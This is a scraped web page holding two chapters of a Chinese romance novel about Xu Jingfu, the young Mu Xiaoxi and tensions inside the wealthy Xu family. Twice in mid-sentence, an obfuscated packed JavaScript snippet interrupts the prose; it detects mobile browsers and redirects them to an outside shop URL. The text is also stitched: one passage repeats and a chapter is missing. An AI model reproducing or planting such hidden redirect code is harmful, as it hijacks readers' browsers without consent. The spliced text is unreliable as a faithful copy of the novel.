木晓晞一开始也不说话,静静地喝茶,徐敬孚也是。她喝完一杯想走,结果他又提壶给她满了一杯。 就这样不得不坐下喝了两杯,都还没能走了。手机也没在身边,也没得看,也不能装作有人要找她离开。 第三杯满上以后,徐敬孚总算开口了,问了她一个问题。 “你初高中的时候,喜欢过什么班里的男同学吗?” 36.第 36 章 (三十六) 第二天一早,八点的时候,徐敬孚起来时联系了木晓晞,问她在哪。 木晓晞:“叔叔,我在外面,和张欣一起在给大家买早点……您要吃吗?我也给您带一份?” 后面那半句,一听就知道是临时加上去的。 “什么时候回来?”徐敬孚说,“来我房间一趟,我有东西要给你。” “……得一会儿。”木晓晞问,“很急吗叔叔?是什么东西?要是您急着去公司的话,就把东西放在前台,到时候我……” “不急,你过来取吧,徐董送你的礼物,很贵重,不方便放在前台。” “……” “我等你。” 徐敬孚说完这句话,就准备要挂电话,结果那头木晓晞说:“那就先放在叔叔那里吧,或者叔叔拿回家,等我放假回去再看,您说呢?” 徐敬孚还能说什么? 挂了电话,他看了看手边的纸袋子,手指在屏幕手机上摩挲着,垂着眼想着什么。 一连几天,徐敬孚都没有再和木晓晞有任何联系,当然,木晓晞也再没联系过他。 他很忙,也没有精力再去管这些。 如他所预料的那样,车祸事件之后,董事会的人开始有了微妙的变化。 最明显的一个变化是,大家开始对他说话的态度变了不少,一部分变得对他非常不客气,就差拿鼻孔说话;一部分是开始对他有一些调侃,拿他过去刚进入公司时在基层做的事类比现在的一些情况,说他真是能吃苦,和一般的继承人很不同,不像他们自家那些不争气就等着继承家产混吃等死的不孝子;还有一部分开始突然关心他的婚恋情况,问他这个年纪了,是否打算考虑一下个人问题,还给他推荐一些合适人选…… 如果这些事没有发生在会议室里,他或许可以当耳旁风一笑而过。 这么些年,他从来到徐家,从基层一步一步做到现在,什么话没听过,早就对那些闲言碎语免疫了。作为一个突然出现在徐家的外来者,徐家人对他什么态度他很清楚,如果不是徐休看中他有实实在在办事的能力,给了他一些实权,那些人大约并不把他放在眼里,只是作为自认高贵的徐家人,也并不会像普通人家内斗那样把场面搞得太难看太下不来台,和木钧那种暴发户完全不是一个档次。 他有时候也挺感激徐家人的这种虚伪的,至少,当他撕去体面去和他们把话说得难听的时候,那群人一个也不会吭声。 “如果这个会,大家认为没有必要开,其实也可以不开。”他拿着文件笑了笑,“说实话,我辛辛苦苦工作一整天,为在座各位创造的利益是远超我自己实际所得到的,这一点我想已经是公开的秘密了,大家也知道。” 他将文件整理好,夹进夹子里,撑着桌子起身,看着在座的神色各异的人。 “我并不认为这不公平,有些人的命值钱,有些人的命不值钱,有差异,很正常。” “可是对于那个人自己来说,他的命就算贱如草芥,他也是认为值钱的。” 他笑着,从神情上一点儿也看不出不愉快。 “也许这话不中听,刚刚和你们坐在一起的这一会儿,我认为着实有点浪费我的生命了,所以……这个会,等大家有真正想讨论的事的时候再开吧。” 说着,他微微笑着一鞠躬,离开了会议室。 陈遇跟着徐敬孚进了办公室:“徐总,那这个决策……” 徐敬孚抬手:“上报给徐董事吧,交给他。” 陈遇:“……上次您就是这样做的,但是徐董事说,这些小事您自己做决定就可以。” 徐敬孚不急不忙地给自己泡了杯茶:“这是我做不了的决定,让他做吧。” 陈遇:“……” 徐敬孚见他为难的,问他:“他找你谈过话了?” 陈遇犹豫着点了头。 “那你应该知道,他什么意思。”徐敬孚靠在椅背上,“既然他保了你,那你就好好做你的事,我的话你转达给他就是了,多的你也不用管。” “徐总,可能是我的个人角度,我认为徐董事他也许并……” “你也说了是‘也许’。” “……” “陈遇,我之前问你过吧?”徐敬孚看着办公桌上那个怎么提出去又怎么提回来的礼品袋,“我问你,如果你财富自由了你会干什么,你当时当没听见,我现在再问你一遍,你会怎么回答?” 陈遇看着他那张似笑非笑地脸,叹了口气:“回答这个问题前,可能要先定义什么是财富自由。” 徐敬孚点头:“假如说,已经达到了你财富自由的那个标准。” “没有想过,可能因为我现在离那个目标还有点远。” “我其实一直都很不喜欢你这一点,干事也好,说话也好,滴水不漏的。”徐敬孚抽了根雪茄出来,拿火机点上,吸了一口,“很不喜欢。” 他又抽一口,把烟吹了,去书架上抽了本书出来。 “出去吧。” 陈遇沉默了几秒,出去了。 徐敬孚把书放在桌边,抽着烟,笑了,将书随手翻了翻,翻到一页停下。那里头夹着一张照片,是于珍、徐休、木晓晞还有他的合照。 假期在温泉别墅的时候照的。 他把照片拿出来看了会儿,想到徐休昨天给他打电话,像个没事人一样叫他去徐家宅院看于珍。这些有钱人,真是心态好啊。 他将书重新合上,看看礼品袋,再看了眼桌上的手机。 盯着手机又看了好一阵。 他把抽屉拉开,从里头拿出自己之前买的那个没用几天的手机。古城车祸那天,木晓晞给他开房的时候,他看到她的手机屏幕坏了。 摔得不轻,就那也还在用。 他把两个手机摆到一起,不知想到了什么,竟有些出神。 木晓晞的实习,还有几天结束? 他看了下日历,今天周五,从上周日到现在,五天了。 再把手机打开翻出木晓晞的聊天框,聊天记录还停留在五天前她去超市买酒的时候问他家里是哪瓶酒的页面上。 【左边。】 【谢谢叔叔。】 【你们住在哪。】 木晓晞发来语音。 “叔叔,我们住在圣音酒店。” 他听了两遍语音。女孩儿的音色棉花似的,好像连颜色都听得见,白得像张纸。 二十岁,还是什么都懵懂的年纪。以木晓晞的性格,被骗了帮人数钱都是很正常的事,毕竟是个结婚证都敢领,还非要领个真的的人。 他夹着烟又点了一下语音。 “叔叔,我们住在圣音酒店。” “叔叔……” 他把手机关了。 【爸爸!】 【我是把您当成和我爸爸一样的长辈。】 木钧? 他揉了下眉心,拧紧了眉头深吸了一口气。 木晓晞连着几天,手机基本都没拿出过酒店,以手机屏幕坏了触屏用起来不方便为由,在外面必要时候都是用的张欣手机。所幸这份实习工作也用不上太多手机,每天就是陪着几个外国人每天出来演出,演出完了带着人出去到处玩,见什么讲什么,也算是另一种导游。 金笑笙和赵玉石主要负责三人演出、沟通以及费用方面的内容,帮忙干点活,木晓晞和张欣则更多是负责工作后生活方面的讲解和规划,以及一些文化介绍。 演出连续进行三天,今天就是第三天,明后天则是自由活动,玩两天就结束了。 除了第一天因为架子鼓的事有些不顺利,其他时候都蛮顺利的。 那个叫席望的小孩儿这几天天天拖着家里人来看演出,几乎成了路易斯的忠实粉丝,每天从早上来就要黏在他身边一直待到晚上,而他又跟木晓晞比较熟,所以这几天木晓晞也相当于带了个孩子,走哪儿都把他拉着。 “又麻烦你了小木,我和他爸下午下班了再来接他,他爸可能会下班早一些,到时候到了联系你,真的不好意思,这几天真的……”席望的妈妈是个三十来岁的温婉女人,她是个小学教师,上班的地方离古城有一个多小时,这两天几乎都是她跑来接席望,每天到的时候都会接近晚上八点了。 通常这个时候席望都和他们在一起把饭都吃了。 “我心里真的过意不过,你说你们也忙,还帮我带着孩子,我真不知道要怎么感谢你们。”席望妈妈提了个大袋子,神情内疚,“这里是我们家自己种的一些菜,你拿回家去吃啊,我也没什么能送你的。” “不用姐姐,真不用,我和席望在一起玩得也挺开心的,他很懂事很乖。”木晓晞连忙推脱。 但是席望妈妈实在是要给,她最后也还是收下了。 “哦,我忘了,你们都还是学生吧?” “对呀。”木晓晞笑道,“真不是我客气,我们都还住校呢,在学校也没法做了吃。” “那你带回家?你家是在这边住吧?你的那位叔叔呢?送给他也好。”席望妈妈有些不好意思说,“我也很想感谢他,但是那位好像……是个老板,你说,我们条件不好,也送不起什么好的,这些菜都是孩子奶奶在家种的,没有药,他们大老板应该也吃得来吧,没有药的菜吃了还是好。” 听到“叔叔”两个字,木晓晞顿了下,但很快又升起笑容:“好,我拿给他,谢谢姐。” 好说歹说,席望妈妈才去上了班,今早她还是请了假送孩子过来的。 席望一到就跑到乐行里面去了,乐行老板也回来了,出于内疚,让席望在那里玩了好几天。 那个贵的架子鼓还是被拉回来了,只是路易斯最后并没有那个架子鼓演奏,问为什么不用,路易斯说:“好厨子换了锅也得会做饭吧?” 金笑笙感叹:“你叔叔真敢说,这种话我们提都不敢提。” 木晓晞“嗯”了声,没评价。 “你跟陈秘书谈……你叔叔没意见?”金笑笙装作不在意的样子,边布置今天的场地,边问。 一边帮忙的张欣看了眼木晓晞,紧紧抿着嘴,跑到另一边干活去了。 “……”木晓晞不知道该怎么说,感觉一个谎只要撒出来,就会需要无数个谎言去圆。 “他做秘书,能开那么好的车吗?还是说,那是你叔叔的车?”金笑笙将线管安好,等了好一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373677|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵没等到回答,开玩笑似的笑道,“或者,他也是个隐藏的富二代?” 木晓晞不想撒谎,但也不想回答,于是问他:“我可以不回答吗?” 金笑笙点头:“你可以。” 木晓晞坐到台阶,仰视他:“谢谢。” 金笑笙微笑着,也坐到她旁边,看着路边来来往往的游客行人:“你现在跟以前不太一样了。” “有什么不一样。” “你以前不太会拒绝别人。” “现在也不太会。” “那你还是拒绝得很利索啊,一次又一次,一点不留情面。”金笑笙开了瓶矿泉水给她,给自己也开了一瓶,喝了口,“你要是以前也是这样就好了。” 木晓晞看他。 却见他脸上像是有点怀念,也有些沉默的样子,很罕见地有了一丝强颜欢笑的味道:“可有时候又觉得,幸好你那时候不坚决。”他扭过头跟她说,“有一些回忆也是好的,我现在觉得,哪怕是回忆,哪怕是不好的回忆,也是有价值的,不该后悔,也没什么好后悔的。” 木晓晞愣愣地看着他。 “你觉得呢?”他问。 “……” 金笑笙说的话,她好像能听懂,可看他的表情,又觉得自己好像听不懂。 那种怀念是什么?就假期那一个月?至于吗? 什么叫“幸好那时候不坚决”?她什么时候对他不坚决过吗?删都删了三次。 “其实你删了我四次。”金笑笙仿佛知道她在想什么,笑了起来,皱了下鼻子,“你肯定记不得了。” 他站起来伸了个懒腰,走到人群走去。路易斯他们和赵玉石逛完街回来了,一会儿就要开始工作了。 “记不得算了。” 木晓晞还在愣神,张欣的声音忽然传来:“晓晞?晓晞在那边。” 木晓晞一下子回过神,立马站起来。 结果刚站起来,就看到张欣引着一个男人走过来,他今天穿着一身比较休闲的浅色毛衫,灰色长裤,像休假在家的装扮。几天没见,也没有任何联系,他好像一点也没有不自然,过来见到她,径直走过来在她旁边的箱子里取了瓶矿泉水拧开。 “路上刚好碰到了他们,听说席望这两天都在这边玩?他人呢?” “在乐行里敲鼓。” “这么喜欢这东西。”徐敬孚往乐行走去,走了几步回头看。 见木晓晞还在原地站着,他招了下手:“一起。” 木晓晞连忙看向张欣他们,金笑笙跟她说:“去呗,忙完了都,你去陪叔叔吧。” 木晓晞这才抿了下嘴,说:“那麻烦你们了。” 然后小跑着跟到了徐敬孚身边去。 徐敬孚见她过来了,等她跟他并排了,这才开始走:“这几天工作怎么样?顺利吗?” 木晓晞点头。 徐敬孚看了她一眼。 木晓晞连忙“嗯”了一声:“顺利,没有什么特别的事,每天就是按部就班……路易斯他们挺好相处的。” “是吗?前几天见的感觉不是这样。” “那天是特殊情况,多亏您帮忙。”说到这里,木晓晞想起席望妈妈送的那包菜,“席望妈妈送了您一包他们自己家种的没打药的菜,让我提给您,说感谢您的帮忙和照顾。” 徐敬孚说:“你可以让你同学拿去,我不怎么在家吃饭,拿回去也是给保姆吃……不然就是你回家去吃。” 木晓晞问:“周末您也工作吗?” 到了乐行门口,两人停下来。 “也可以不上班。”徐敬孚问她,“你不是周末要上班吗?” “……”是要上。 徐敬孚笑了下,没再说,进了乐行。 席望在里头敲得正沉浸,徐敬孚也没有打扰他,在旁边看了一会儿,然后叫来了老板,问他:“有没有给小孩打的?” “有,您是想……” “给他搞一套,你看着配,要好的,你是行家应该识货。”徐敬孚指了下席望,“你这里有授课吗?” “我们乐行没有,是专门卖乐器的,不过我认识有教这个的,您有需要的话我可以帮您联系。”老板客气地介绍,一边笑着说一边打量徐敬孚,“您有点眼熟……您是……” 徐敬孚看了他一眼,没接话,只道:“那就拜托您帮忙找一个好老师,耐心好一点,有爱心,会手语,钱我来付。” 木晓晞在旁边看着,没有参言。 老板也很会来事,连忙叫人带着孩子去试鼓,然后带他们去了后院的茶亭里坐着,亲自给他们上了茶。见徐敬孚并不想和他多说,便很懂礼地把空间让给了他们。 等老板走了以后,后院的茶亭就只剩徐敬孚和木晓晞两人。 木晓晞一开始也不说话,静静地喝茶,徐敬孚也是。她喝完一杯想走,结果他又提壶给她满了一杯。 就这样不得不坐下喝了两杯,都还没能走了。手机也没在身边,也没得看,也不能装作有人要找她离开。 第三杯满上以后,徐敬孚总算开口了,问了她一个问题。 “你初高中的时候,喜欢过什么班里的男同学吗?” 38.第 38 章 (三十八) 徐家宅院位于青耀古城旁侧一公里处,占地七八亩,依山傍湖风景秀丽,其中亭台楼阁水榭廊坊精致华丽,格局繁复一步一景,甚至宅内还非常完善地保留了几棵一二百年的古树以及部分古建筑雕塑。 如果用作开发,也该是青耀古城内质量不俗的景点之一。并且按道理讲这里本就该是景区规划的一部分,只是徐休眼光超前独到,在这里还是一片古旧的荒宅的时候就已经被他买下来用作了私人宅院,加之青耀古城也是由阅岭集团一手开发,也占尽了时代的红利,所以这个宅院便罕见地成了景区“内”唯一的私人住户。 没人知道这个宅院到底花了徐休多少心血,从买下到建好再到装修完善住进来,所花费的时间可以说比青耀古城的开发时间还要长了足足两年。 现在那些人从湖的另一侧看到的冰山一角惊鸿一瞥,说到底也不过是徐休舍得花钱带来的副产品而已。 那时徐休还是一个成功人士中的成功人士,赢家中的赢家。妻贤子孝,家族庞大,亲朋满座,腾蛟起凤。 这座宅院在那时的他看来并不算大,若不是这块地能用的部分最多就这么大,他怕不是要将半座山头都包下来用来建造自己的“家”。 一路亨通风光无限,不可谓不猖狂。 女儿徐美莹不是第一次自杀就死掉的,是自杀了三次。 第一次自杀的时候,徐休忙得根本没将这芝麻事放在眼里,于珍那时也是,她作为一名著名教育学家兼第一批教育类公司的领头人,四处讲座飞遍全国,公司刚刚上市,正是处于个人事业最红火的高峰期。 听闻女儿自杀的消息,她的第一反应是将这个事捂了下来,第二步才是赶到女儿身边,竭尽全力抽了一个月的时间陪伴女儿走出低谷,得到了女儿会好好活下去的承诺。 那时的他们根本没将这件事当作什么转折点,好比下雪时,没有任何一个人认为一片轻飘飘的雪花会最终成为雪崩的源头。 “妈和爸呢?” 安顿完木晓晞,徐敬孚准备先去跟于珍打个招呼,然后再和司机一起去接人。他本想让木晓晞自己来,但听到电话那头的小姑娘在问要换什么衣服带什么礼物时,他就知道她肯定又紧张了。 本来今天就没打算叫她的,如果不是她非要这个时候打来电话。 “在茶厅,今天王行王总一家来探访,莫总夫妇还有……齐老爷一家也来了。”管家在旁边轻声说,“齐老爷是听闻您今天要过来,专程来和您致歉的,带了不少贵重礼物……” 徐敬孚停下来。 “老爷说,让您给个面子。” “……” 管家微微低着头,徐敬孚看了她一眼,并没有迁怒,问:“给谁面子?如果是齐兆丰,我想我没有这个心胸。” 管家像是料到有这样的回答,道:“老爷说,让你给他一个面子。” 徐敬孚听完,连多的表情都没有露一个,好像完全不惊讶会听到这个答案。他耷着嘴角在原地沉默地站了会儿,嘲弄地笑了一声,问她:“沈管家是怎么做到在这个破院子里十年如一日干了十几年的?我真佩服你。” 管家:“……” 徐敬孚:“面子我会给的,但我还是先去接木晓晞吧。” 木晓晞怕迟到,一路非常着急,可就算如此,请假后她还是跑回了酒店又是换衣服又是梳头发,甚至用了十分钟的时间给自己飞快抹了一点粉底画了个淡妆。这几天没睡好,脸色都有点不好了。 叔叔说今天可能要会见到一些“亲戚”,她不知道都是谁,但总是不希望自己看起来太差,让徐敬孚难做。 就这样急急匆匆地收拾好,气喘吁吁地跑到说好的地点时,她还早到了五分钟,没想到有两辆车已经等在了那里。其中一辆,是她当初坐过的据同学说很贵的那一辆。 两辆价值不菲的车随随便便地停在路边闪着灯,还有两个保镖装扮的人在车边站着,一副等人的模样,很难做到不引起人群的注意。她站在几米外气喘吁吁,有点不知该怎么过去,这时手机响了,徐敬孚打来电话:“怎么不过来?” “……马上。” 她心一横,埋着头穿过人群上了徐敬孚那辆车。 关上门的瞬间,她出了口大气。 “又是跑过来的?”徐敬孚递给她一张手帕,“不是给你发了信息,让你慢慢来么,没看到?” “信息?”木晓晞这才把手机拿出来看了眼,发现十五分钟前徐敬孚发了微信过来。她那会儿正忙着梳头穿鞋,根本没看手机。 而且自从手机摔坏后,喇叭就出了些问题,时而响时而不响的,声音时有时无,打个电话有时都听不清。 “不好意思叔叔……我没看到。”木晓晞问他,“您怎么来这么早?而且……” 她看了眼后面那辆保镖车。 阵仗还这么大。 不是说只有一公里的路吗?走都可以走过去。 “毕竟要来接你。”徐敬孚说,“谨慎一点比较好……开车吧。” 木晓晞扭头看他。 察觉到她的目光,徐敬孚问:“怎么了?” 木晓晞问:“……叔叔你心情不好吗?” 徐敬孚:“没有。” 木晓晞欲言又止。 徐敬孚笑了一下:“真没有。” 木晓晞抿了下嘴,没有再说什么。 一时间,车内安静地落针可闻,除了稳稳的车行进时的引擎声什么也听不到。她偷偷看了旁边的男人好几眼,都只看到了后脑勺和假寐的侧脸。 偏偏路程短得让人连一个盹儿都打不了。 车绕着古城开了一圈,她没有什么方向感,这一片她也没怎么来过,不知道是朝着哪个方向开的,总之是从一个有保安亭的小道开了进去,车开进时两名站岗人员同时行礼,像在迎接什么重要来宾。 车越开越里,路边白墙青瓦波浪般起伏滑动,大约开了两百来米,道路渐宽,豁然开朗,停在一扇低调而不失庄严的黑色大门前。 门口同样守着三名安保人员,还有两位装扮不太一样,但看起来应该是服务人员的人。 礼仪到位,恭敬规范,微笑得体,像五星酒店的迎宾一般。 还没下车,木晓晞就感受到了一股无形的压力扑面而来。她脸上不显,不过手却不自觉地捏了起来,脑子里只有一个想法——还好没有买什么水果。 “先生……太太。”管家亲自来为他们开车门,笑容可掬语气温和。 “……” 被她这样一叫,木晓晞下车时差点没站稳,还是徐敬孚提了她一把才避免了洋相。他跟她介绍:“这是沈管家,三点水的沈,在徐家做事的时间比我在徐家的时间还要长,算是自家人了,你叫她管家也行,阿姨也行。” 沈管家连忙说:“叫我管家就行太太。” 木晓晞同时说:“沈姨好。” 沈管家先是愣了一下,接着便笑得亲切又热情:“听老爷夫人提到过太太很多次,说是一位非常优秀大方美丽的年轻女性,今天终于见到面了,果真人如其名,如晨曦星辰一般明亮耀眼……太太快请进。” 优秀大方美丽?明亮耀眼?她? 木晓晞不知道该怎样回应这样夸张到都有些浮夸的客套话,只好保持礼貌的微笑。 “妈还在茶厅?”徐敬孚搂过木晓晞,手很自然地放在她的后腰间,半推着她往前走,跨进大门。 “没有,夫人他们先去宴会厅了,孩子们也在那里玩,老爷和齐老爷他们还在茶厅等您。”沈管家问,“需要我将太太直接带到老夫人那里去吗?” “先不要。” 那要怎样?徐敬孚也没说,他只是半拥着僵硬的木晓晞一路往前走,一直走。 绕过一道门又一道门,走过一条廊又一条廊,鱼鸟游飞,枫林花阁,上台阶,下台阶,拐弯,再过一道林。木晓晞感到自己仿若一个进宫的秀女,几乎在这层层嵌套的庭院中迷了路。 徐敬孚一路上都很沉默,除了那几句再也没说什么,神情看着好像没什么,但整个人身上却泛着一种与他们初次见面时很近似的隔离和冷漠,叫她内心的紧张茫然更甚更深。 大约是察觉到了她的不适应,快到茶厅时,徐敬孚忽地停住了脚步看向木晓晞:“要不你先去我的房间待一会儿,等我谈完事,我再你去见妈她们。” 木晓晞有些不知所措。 “叔叔……” “没事的。”徐敬孚安抚她,“待一会儿就好了,我会尽快。” “……” “房间里有水果和零食,妈特意叫人给你准备的,也有电视,你可以边吃边玩。” 木晓晞只好点头。 见状,他笑了笑,摸了下她的头,然后示意管家将木晓晞带走,自己则朝着左手边的那栋楼走去。 木晓晞看到他走掉的背影,心情忽然也变得有点低沉。 从古城再到宅院的这短短的小路上,徐敬孚想明白了一件事,也觉得自己先头想错了一件事。 那就是,他和木钧还是不一样。 有不一样的地方。 他走进茶厅,一进门便看到了股东齐兆丰还有他的那位二太太,度假酒店总经理,他名义上的“表妹夫”王行在,阅岭集团副总经理莫边也在。 见他到了,除了徐休,其他人都站了起来。 饶是已经知道他的“假太子”身份,这些人也还是在明面上做得礼数周全,叫人挑不出错,连让人发火的由头都找不出来一个。他看了眼稳如泰山喝着茶的徐休,笑了笑,最终还是给了他这个面子。 只是这个过程着实无聊,乏味得令他连敷衍的笑都懒得挤一个,而对方显然也不像管家说的那样是诚心来致歉的,或许和他一样,也只是为了全徐休的一个“面子”。 王行和莫边,则是为了以防万一找来的观众和安保人员,毕竟以徐敬孚以前的脾气,搞不好真的会动手将齐老头子打进医院。 但他没有这样做。 “我也不是二十七八的岁数了,不用这样提防我。”演完戏,另外三人走后,他被徐休留下来单独谈话时,他这样笑着说,“而且,如果我真想动手,以王行和莫边这种四体不勤路都跑不了十分钟的角色,不要说打两个,哪怕翻个倍大概也是绰绰有余。” 徐休给他倒了杯茶,叫他坐下说。 “不了,站着说吧,木晓晞还在我房间等我,我说完还要去找她。” “怎么没叫管家带去宴会厅?” “她跟那里的人都不熟。” “你妈也在那里。” “她跟妈熟吗?”徐敬孚说,“不过是见过几次面的关系而已,我在徐家待了十几年我都没多熟。” 徐休一听这个话就笑了。 徐敬孚并不愿和他多说,拿了衣服准备离开。徐休说:“一个快四十岁的男人,一天到晚就知道把这些鸡毛蒜皮的事记在心里,连个脑子都病糊涂了的老太婆的气都要生,我看你是越活越回去了。” 徐敬孚根本不理他,继续往门口走。 “连这都接受不了,如果有一天我跟你讲,你这个总经理不要干了,是不是还要去跳河?” 徐敬孚停在了门口,笑了。 徐休端着杯子靠在沙发上:“反正你也是不想做了,对吗?” 徐敬孚转过身,走到茶几边,将徐休倒的茶端起来一饮而尽,出了口气。 “对。” “钱也不想要了。” “你给我就要,不给就算了。” “不知道的还以为你套现套出来了一百个亿,看来木晓晞这个温柔乡让你有些不思进取了。” “与她无关。” 徐休喝了口水,放下茶杯,嘲讽地问:“无关吗?那要是我告诉你,我打算让木晓晞留在徐家照顾于珍最后这段时间,并且在于珍死后,我将她认为干女儿,奖励她于珍一半的遗产,你该如何?” 徐敬孚:“你说什么?” 徐休说:“我要把她认为干女儿,让她一直待在徐家。” 徐敬孚笑了:“再说一次?” 徐休笑了声,再说一次:“我说,我要把她留在徐……” 话没说完,他就被徐敬孚抓住了衣领。只见徐敬孚手臂拳头青筋暴起,面色冷漠狰狞,他是笑着的,但是眼睛是血红的,而且是一瞬间就变得血红。 另一只手高高抬起,似乎下一秒就要落在徐休脸上。 徐休见他暴怒,反而笑得更大。 “现在知道了吗?你那点钱算什么?”徐休拍拍他的手,“你二十七岁的时候我就教过你,这个世界上会使用拳头搞定问题的人,永远是最没用最无能的人,只有穷人才会这样做。” 话音落的下一秒,他就被搡得砸到了沙发上。 徐敬孚再一次想离开这个地方,但徐休还是没放过他。 “你以为我为什么不给你钱?” “因为你是一个典型的穷人,人穷,思想也穷。” “以你原本的生活轨迹,你本应该是一个天生的穷人,哪怕有一颗聪明的脑袋,勤奋又努力,哪怕你无比走运,能赚到比寻常人多得多的钱财,但是你还是摆脱不了你既定的命运。” 徐休不留情面地点评。 “和木晓晞她爸一样。” 听到这个评价,徐敬孚看着门外的水亭假山落花水鸟,露出了一个似笑非笑的神情。 “穷人手里不管有再多的钱,永远是留不住的,他再辛苦,赚得再多,那都是为别人赚的,钱只是从他手上过了一遭,并不属于他自己,木钧以为他能靠这笔钱翻身,他能吗?他自己认为能。”徐休笑道,“但你和我都知道,不能,为什么不能?” 他站起身来到徐敬孚的旁边,和他看着同样的风景。 “因为你从一开始给他钱的时候,就知道他这笔钱最终会流向哪里。” “你以为我不给你钱,是因为我徐休算计你,提防你,我知道你是怎么想我的,可你知道我是怎么想你的吗?” 徐敬孚好像听到了什么好笑的笑话一样,他不禁笑了一声:“您的意思是,您做这一切是为我好,是有先见之明。” 徐休:“没错,如果我把钱都交给你,你只会成为木钧二号。” 徐敬孚转过身,面对他,问他:“如果站在您面前的是您的亲生儿子,您也会这样说?” 徐休:“……” 徐敬孚毫不留情地戳破他:“您不会,您只会觉得给得不够多,只会认为这点钱还不够让他形成自己是徐家大少爷的认知,您只会用钱砸他,砸到他认为自己的身份足够崇高,地位超凡,拥有无限的资源和权力。” “所以他死了啊。” “……” “所以,他死了。” 徐休笑得仰头,拍拍手,摇着头笑感叹。 “徐敬孚,真不是我说,你连木晓晞都不如,木晓晞看起来胆子小,但她都比你像个有钱人,而你是真的穷,穷到可笑。”他指了指徐敬孚的脑袋,一副被他无语到好笑的模样,“天呐,跟了我十三年,还如此想问题,继续这样想下去,迟早有一天你还会回到那个桥上,时间问题而已,但那个时候不会有第二个木晓晞了。” “好奇我是怎么知道的?” “徐敬孚,我见过你的二十四岁。” “不管怎么说,哪怕是名义上的,我还是给你做了十三年的爹,不是吗?” 徐敬孚闭上猩红的眼,往外走,徐休拽住他:“再喝杯茶了走。” 徐敬孚不吭不响,回头去倒茶,给自己倒了一杯,又给徐休倒了一杯递给他,然后像敬酒一样跟他碰了一下。 “爸,过了今天我就不会再这样叫你了,哪怕是在妈面前。”他喝了茶,笑了笑,“木晓晞不会跟你走的,她跟我不一样,您是有数不清的钱,可那又如何,你马上除了钱就什么也没有了。” 徐休一杯水泼到他脸上,铁青着脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385227|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也不介意,笑着抹了一把眼睛上的水:“要不要赌一赌,看看木晓晞是要你的钱,还是要跟着我。” 他把杯子随手丢到地上,杯子碎在地上,很清脆的响声。 “爸。” “十年前,你之前问过我,为什么我会蠢到四处借贷都要给木钧凑那一笔钱,而不愿意求助你,让你给了这笔钱。”徐敬孚说,“我现在告诉你为什么。” 他看着徐休沧桑的白发胡须,依旧冷漠无情的眼睛,忍不住笑。 “你认为是我想要留在徐家,贪图徐家的财产,想要这个太子身份。” “这也没错,不过只是原因之一,还有一个原因。” 徐敬孚仿佛释然了一般,长长地舒了一口气。 “还有一个原因。” 他说。 但是过了很久,他也没说出来。 只是摇摇头,像在说什么梦话一般。 “算了。” 人好像就是这样,很多时候明明从一开始就知道答案,从最开头就明白这是一条死胡同,可是还是会不由自主地抱有一些幻想,直到自己一脚一脚走到路的尽头,一个步骤一个步骤顽固地解到最后。 是了。 一个错误的开头,怎么可能会有一个正确的结局。 一个从第一步就错了的解题方案,又怎么能得出一个正确的答案。 木晓晞在徐敬孚的那个房间等了很久,等到她连管家都来问了她两次要不要先去宴会厅里陪陪于珍,她想去,又莫名感到不安,最后还是选择留下来等徐敬孚。 徐叔叔的这个房间,应该不是他的房间。 因为她住过他的房子,所以看得出来这个风格热烈浪漫,现代又法式的装修风格完全不是徐敬孚可能会要的风格。只有一个解释,这里是别人的房子。 那什么人的房子会和于珍徐休的房间在一个院中呢?很容易地,她就想到了那位从未谋面已经去世十几年的徐家公子——徐乔。 其实从踏进这座宅院开始,她就开始模模糊糊地感到了一丝怪异。不,也许更早,从车驶入保安亭开始,这感觉就有了。 是什么呢? 是一种对比。 而这种对比带来的怪异感在她深入这个宅院,来到这个院落,再进入这套风格完全与徐敬孚那个别墅迥异的房间时……达到了巅峰。 不说别的,光是眼下她所在的这套小二层的楼,不,光是她现在目之所及的这一层,任何一个角落拿出来单看,其间的陈设装饰的价值都肉眼可见地奢华到恐怕能够再买一栋徐敬孚那个水泥箱般的“家”。 与里相比,徐敬孚的那栋别墅说是简陋毛坯都不为过。 同是徐家唯一的继承人,还作为阅岭集团这样一个庞大商业帝国的总经理,徐敬孚的生活在普通人看来已经算是优渥,但若放来与徐家宅院相比,则已经算是朴素到令人费解的程度。 一些碎片化的声音画面开始像被什么线串起来了一样,一幕一幕地涌了出来,出现在了木晓晞的脑海里,耳朵边。 【徐敬孚跟你说过他的身世吗?】 没有。 【他真是什么都没跟你说。】 说什么? 【那你爸跟你说过其他的吗?】 其他的? 【难道你不好奇,为什么徐敬孚一直叫我徐董而不是‘爸爸’吗?】 木晓晞微微张开了嘴。 她忽然又想到。 【徐董跟你说了多少?】 【你觉得我们不像一家人吗?】 还有那一句。 【差不多算是。】 差不多算是什么? “叔叔也没有爸爸妈妈……吗?”木晓晞头一次因自己的想象力感到荒谬,她喃喃自语,“小说看多了吧……怎么可能……” 她晃晃脑袋,企图把这些乱七八糟的想法晃出去。 正在这时,院子里突然有了动静,有人来了。 门被推开,来人是徐叔叔。他的身后跟着几个服务生打扮的人,端盘子的端盘子,推车的推车。 “就放这儿吧,剩下的我自己来。”徐敬孚指挥着人把饭菜碗筷放到茶几上,挥挥手,将人赶走。然后他去关上门,反锁,回来坐到沙发上,一边拿杯子给她倒红酒,一边叫她坐下,“晚上我们就在房间里吃,不介意吧?” 木晓晞在他进来的一瞬间,就看到了他头发和衣服上的湿迹。 